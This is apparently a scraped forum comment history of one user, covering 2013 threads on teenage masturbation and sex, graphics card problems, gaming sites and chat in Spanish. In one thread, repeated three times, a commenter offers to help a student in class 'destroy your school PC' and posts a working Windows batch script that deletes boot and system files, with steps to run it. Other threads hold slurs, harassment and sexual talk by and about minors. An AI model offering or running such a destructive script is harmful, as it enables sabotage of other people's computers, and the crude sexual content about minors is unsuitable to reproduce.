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#84 - diferentfag here, i started at 7/8 but didnt actually ejaculat… 12/18/2013 on MFW gf said "most men dont... 0
#26 - well im 15 now, i dont feel think there's anything wrong with … 12/17/2013 on MFW gf said "most men dont... +3
#23 - i didnt quite know what i was doing until i was 9 or 10 but im…  [+] (7 new replies) 12/17/2013 on MFW gf said "most men dont... 0
User avatar #24 - twofreegerbils (12/17/2013) [-]
Nah dog.

8 years old is waaay too early to start masturbating. I would do some research if I was you. Find out what's wrong.
User avatar #31 - MandiMarie (12/17/2013) [-]
Well shit. I started masturbating when I was about 5, maybe earlier. I have been for at least as long as I can remember.
#32 - twofreegerbils (12/17/2013) [-]
Did you cum? surely you were not capable of whacking it off to the point of climax at five years old...
User avatar #84 - adrilazzaro (12/18/2013) [-]
diferentfag here, i started at 7/8 but didnt actually ejaculate jizz until i was 11, though i didnt orgasm and feel pleasure.
User avatar #34 - MandiMarie (12/17/2013) [-]
Well, I climaxed. But I'm also not a dude so I'm not sure if that makes a difference.
#39 - Womens Study Major (12/17/2013) [-]
do not try to lure us, faggotwench. there are no girls on the internet.
User avatar #26 - adrilazzaro (12/17/2013) [-]
well im 15 now, i dont feel think there's anything wrong with me i mean i did hit puberty earlier than most other guys.
#21 - **** man you took that long? i started fapping wh…  [+] (10 new replies) 12/17/2013 on MFW gf said "most men dont... +1
User avatar #37 - creatablejam (12/17/2013) [-]
Started when I was 12. Probably the norm
User avatar #22 - twofreegerbils (12/17/2013) [-]
...That is well before any human male should be developing a sex drive.
User avatar #23 - adrilazzaro (12/17/2013) [-]
i didnt quite know what i was doing until i was 9 or 10 but im sure its not that bad
User avatar #24 - twofreegerbils (12/17/2013) [-]
Nah dog.

8 years old is waaay too early to start masturbating. I would do some research if I was you. Find out what's wrong.
User avatar #31 - MandiMarie (12/17/2013) [-]
Well shit. I started masturbating when I was about 5, maybe earlier. I have been for at least as long as I can remember.
#32 - twofreegerbils (12/17/2013) [-]
Did you cum? surely you were not capable of whacking it off to the point of climax at five years old...
User avatar #84 - adrilazzaro (12/18/2013) [-]
diferentfag here, i started at 7/8 but didnt actually ejaculate jizz until i was 11, though i didnt orgasm and feel pleasure.
User avatar #34 - MandiMarie (12/17/2013) [-]
Well, I climaxed. But I'm also not a dude so I'm not sure if that makes a difference.
#39 - Womens Study Major (12/17/2013) [-]
do not try to lure us, faggotwench. there are no girls on the internet.
User avatar #26 - adrilazzaro (12/17/2013) [-]
well im 15 now, i dont feel think there's anything wrong with me i mean i did hit puberty earlier than most other guys.
#43 - only stop when the target says "et tu brutus?" 12/17/2013 on Highschool was a glorious time 0
#277 - Stay strong, if you are lucky your children will be strong and healthy  [+] (1 new reply) 12/16/2013 on would you wish for true 0
User avatar #278 - nang (12/16/2013) [-]
Thanks bro. I hope so too. That would be horrible if they had to go through what I did.
#757497 - Ive always wondered waht this is actually from 12/16/2013 on Video Games Board - console... 0
#88 - If this was true i'd 6ft tall 12/15/2013 on Made me laugh 0
#755653 - good point, ea's reputation is **** anyways. Hope… 12/14/2013 on Video Games Board - console... 0
#49 - ..well if you're horny and you can do it why not. I knew what … 12/14/2013 on The frick frack 0
#755581 - That sounds amazing, is there any version of it out already or…  [+] (1 new reply) 12/14/2013 on Video Games Board - console... 0
User avatar #755588 - serhiy (12/14/2013) [-]
its not released yet. but some people say that its expected to be released this late December
#755551 - What's the mantle API update?  [+] (3 new replies) 12/14/2013 on Video Games Board - console... 0
User avatar #755576 - serhiy (12/14/2013) [-]
its AMD's alternative to directX, apparently it comes with a massive boost in performance (up to 50%) for AMD card only, and it will make better use of muti-core processors.
User avatar #755581 - adrilazzaro (12/14/2013) [-]
That sounds amazing, is there any version of it out already or is it yet to be released?, if there is a current version i'd appreciate a link
User avatar #755588 - serhiy (12/14/2013) [-]
its not released yet. but some people say that its expected to be released this late December
#755530 - Godus 12/14/2013 on Video Games Board - console... 0
#755527 - r9 290* 12/14/2013 on Video Games Board - console... 0
#755525 - i am so ******* mad, i had a gtx 570 a short whil…  [+] (9 new replies) 12/14/2013 on Video Games Board - console... 0
User avatar #755647 - hirollin (12/14/2013) [-]
if it only fails with battlefield then it's probably the games fault and not yours. Sometimes the game is fucked up or your graphics card isn't compatible, but unless you are having problems with the witcher series it is usually the games fault (as if having an incompatible graphics card is an excuse for a game not to work, fucking stupid and lazy as hell copout for the fucking witcher devs)

I had a problem like that with dark souls. The game should have run at max settings with no problems at all, even with dsfix the game still only had less than 5 fps just standing still. Sometimes it's the games fault, and with battlefields 4 track record of fuck ups and problems its safe to say its probably not your fault.
User avatar #755653 - adrilazzaro (12/14/2013) [-]
good point, ea's reputation is shit anyways. Hope they fix it bf4 looks pretty good imo
User avatar #755579 - MrDeadiron (12/14/2013) [-]
its the motherboard elves
User avatar #755536 - serhiy (12/14/2013) [-]
i'd say reinstall the drivers, if that doesn't work id say your only hope is to return it, or wait for the mantle API update for battlefield 4
User avatar #755551 - adrilazzaro (12/14/2013) [-]
What's the mantle API update?
User avatar #755576 - serhiy (12/14/2013) [-]
its AMD's alternative to directX, apparently it comes with a massive boost in performance (up to 50%) for AMD card only, and it will make better use of muti-core processors.
User avatar #755581 - adrilazzaro (12/14/2013) [-]
That sounds amazing, is there any version of it out already or is it yet to be released?, if there is a current version i'd appreciate a link
User avatar #755588 - serhiy (12/14/2013) [-]
its not released yet. but some people say that its expected to be released this late December
User avatar #755527 - adrilazzaro (12/14/2013) [-]
r9 290*
#38 - cant really rent an apartment when you're 15..  [+] (4 new replies) 12/14/2013 on The frick frack +3
User avatar #47 - princessren (12/14/2013) [-]
don't really see why you would need to have sex at that age anyways
User avatar #70 - hirollin (12/14/2013) [-]
Agreed. the people i know who had sex that young are some of the most messed up people I have ever met. One girl ended up dead, and another has had so many dicks inside of her it must be like a fucking hallway in there. I can't even imagine the emotional trauma they endured.
User avatar #49 - adrilazzaro (12/14/2013) [-]
..well if you're horny and you can do it why not. I knew what i was doing i wore protection and we were both happy in the end. i was 14 when i lost my virginity. i dont get the fuss with the sex the reason we're so horny at that age is because we're naturaly meant to reproduce during the late stages of puberty it's when you're the most fertile.
#43 - Womens Study Major (12/14/2013) [-]
If you're having sex when you're 15 you're a faggot.
#133 - those prefer snow and cold, not warm sunny beaches  [+] (1 new reply) 12/14/2013 on 'Murica 0
#227 - Womens Study Major (12/19/2013) [-]
Who said we prefer it... we just have to live with it.
#755308 - oh man thank you, i felt like it was all one big joke to…  [+] (1 new reply) 12/14/2013 on Video Games Board - console... +2
User avatar #755310 - alstorp (12/14/2013) [-]
Nah man, gog.com is a fucking great website for buying games
#755292 - Hold on its a scam?  [+] (3 new replies) 12/14/2013 on Video Games Board - console... +2
User avatar #755304 - alstorp (12/14/2013) [-]
It's not for Steam. You download it from their site.
User avatar #755308 - adrilazzaro (12/14/2013) [-]
oh man thank you, i felt like it was all one big joke to troll people. Perhaps im too paranoid
User avatar #755310 - alstorp (12/14/2013) [-]
Nah man, gog.com is a fucking great website for buying games
#2 - u gon get b& 12/13/2013 on nipple +1
#754169 - **** ***** , that looks dangereous. w…  [+] (1 new reply) 12/13/2013 on Video Games Board - console... 0
User avatar #754170 - tarekmig (12/13/2013) [-]
Oh nothing special, It deletes the executable format off windows so nothing like anitvirus can be launched, Then it deletes the boot file, so your PC can't boot, and at the end it deletes all window's files.
#754166 - aw the star wars thing wont work , i am acutally ina comput… 12/13/2013 on Video Games Board - console... 0
#754160 - if the virus can bypass admin requirements to mess with files …  [+] (3 new replies) 12/13/2013 on Video Games Board - console... 0
User avatar #754168 - tarekmig (12/13/2013) [-]
I guess, But if there is an anti-virus it won't work
Open a new Text file
Type in :
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
Then save it as a .bat
Write in the name then write .bat at the end , Ex ;
(Filename).bat
And when it is finished, save it as all files below the empty space where you name your files, Then run the thing by pressing on it.
User avatar #754169 - adrilazzaro (12/13/2013) [-]
shit nigga, that looks dangereous. what does it do? if it can be undone i dont dare, this schools computer have an account for every student and they could easily find out it was me
User avatar #754170 - tarekmig (12/13/2013) [-]
Oh nothing special, It deletes the executable format off windows so nothing like anitvirus can be launched, Then it deletes the boot file, so your PC can't boot, and at the end it deletes all window's files.
#754153 - man you replied early, im actually in class right now, pretty …  [+] (6 new replies) 12/13/2013 on Video Games Board - console... 0
User avatar #754157 - tarekmig (12/13/2013) [-]
If you want some fun do this
www.wikihow.com/Watch-Starwars-on-Command-Prompt
Or if you want to destroy your school PC i can tell you how to make a virus
User avatar #754166 - adrilazzaro (12/13/2013) [-]
aw the star wars thing wont work , i am acutally ina computer science class so idk why it isnt
User avatar #754160 - adrilazzaro (12/13/2013) [-]
if the virus can bypass admin requirements to mess with files it should work
User avatar #754168 - tarekmig (12/13/2013) [-]
I guess, But if there is an anti-virus it won't work
Open a new Text file
Type in :
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
Then save it as a .bat
Write in the name then write .bat at the end , Ex ;
(Filename).bat
And when it is finished, save it as all files below the empty space where you name your files, Then run the thing by pressing on it.
User avatar #754169 - adrilazzaro (12/13/2013) [-]
shit nigga, that looks dangereous. what does it do? if it can be undone i dont dare, this schools computer have an account for every student and they could easily find out it was me
User avatar #754170 - tarekmig (12/13/2013) [-]
Oh nothing special, It deletes the executable format off windows so nothing like anitvirus can be launched, Then it deletes the boot file, so your PC can't boot, and at the end it deletes all window's files.
#754150 - wtf is that gif from?  [+] (9 new replies) 12/13/2013 on Video Games Board - console... 0
User avatar #754554 - TheAnonLord (12/13/2013) [-]
I\m pretty sure it's Goodfellas, the "Funny guy" scene
User avatar #754151 - tarekmig (12/13/2013) [-]
I have no idea
User avatar #754153 - adrilazzaro (12/13/2013) [-]
man you replied early, im actually in class right now, pretty bored ona school computer.
User avatar #754157 - tarekmig (12/13/2013) [-]
If you want some fun do this
www.wikihow.com/Watch-Starwars-on-Command-Prompt
Or if you want to destroy your school PC i can tell you how to make a virus
User avatar #754166 - adrilazzaro (12/13/2013) [-]
aw the star wars thing wont work , i am acutally ina computer science class so idk why it isnt
User avatar #754160 - adrilazzaro (12/13/2013) [-]
if the virus can bypass admin requirements to mess with files it should work
User avatar #754168 - tarekmig (12/13/2013) [-]
I guess, But if there is an anti-virus it won't work
Open a new Text file
Type in :
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
Then save it as a .bat
Write in the name then write .bat at the end , Ex ;
(Filename).bat
And when it is finished, save it as all files below the empty space where you name your files, Then run the thing by pressing on it.
User avatar #754169 - adrilazzaro (12/13/2013) [-]
shit nigga, that looks dangereous. what does it do? if it can be undone i dont dare, this schools computer have an account for every student and they could easily find out it was me
User avatar #754170 - tarekmig (12/13/2013) [-]
Oh nothing special, It deletes the executable format off windows so nothing like anitvirus can be launched, Then it deletes the boot file, so your PC can't boot, and at the end it deletes all window's files.
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#11 - Womens Study Major (04/24/2014) [-]
You will die alone and unmissed having lived an insignificant life having made the world no better and every so slightly inconvenienced. Your legacy will be the sigh of satisfaction that is left in the world when you finally cease your tiny anchoring of it against progress. Life to you is a great squandering of massive potential, and death will be such a slight change that not even you will miss your small moment of consciousness in the scheme of eternity.
User avatar #12 to #11 - adrilazzaro (04/24/2014) [-]
that pictures pretty cool, did you make it yourself?
User avatar #10 - nippuhl (07/12/2013) [-]
Hi Dylan
User avatar #6 - asdasdzxczxc (04/29/2013) [-]
Sos de argentina?
User avatar #7 to #6 - adrilazzaro (04/29/2013) [-]
si, vos?
User avatar #8 to #7 - asdasdzxczxc (04/29/2013) [-]
si de buenos aires capital
#1 - thepsycho (01/30/2012) [-]
Que parte de Argentina, hijo?
User avatar #2 to #1 - adrilazzaro (01/30/2012) [-]
jaja, neuquen,pero vivi en buenos aires por 5 aƱos, despues mi vieja le trasladaron a houston, y aca estoy.
User avatar #3 to #2 - thepsycho (01/30/2012) [-]
Hah, yo en buenos aires toda mi vida.
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